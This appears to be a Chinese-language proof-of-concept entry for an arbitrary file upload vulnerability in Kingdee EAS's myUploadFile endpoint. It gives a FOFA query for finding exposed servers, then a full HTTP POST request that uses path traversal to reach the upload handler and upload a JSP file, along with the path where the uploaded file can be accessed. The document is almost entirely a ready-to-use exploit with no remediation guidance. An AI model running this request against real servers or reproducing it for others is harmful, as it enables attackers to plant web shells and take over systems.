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+
+## 金蝶EAS myUploadFile任意文件上传
+![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lc4ILVKo1g9cSbQc2icEW80fDeYIQ78YeAVSBibGsibyzialJJWOTNHIVt7dpyC4CDibfPeaI3Apn7jn4zHwhPpsWfg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1)
+
+## fofa
+```
+app="Kingdee-EAS"
+```
+
+## POC
+```
+POST /easportal/buffalo/%2e%2e/cm/myUploadFile.do HTTP/1.1
+Host: 127.0.0.1
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySq4lDnabv8CwHfvx
+Content-Length: 205
+
+------WebKitFormBoundarySq4lDnabv8CwHfvx
+Content-Disposition: form-data; name="myFile"; filename="test.jsp"
+Content-Type: text/html
+
+<%out.println("test");%>
+------WebKitFormBoundarySq4lDnabv8CwHfvx--
+```
+
+jsp路径：
+
+http://127.0.0.1/easportal/buffalo/../test.jsp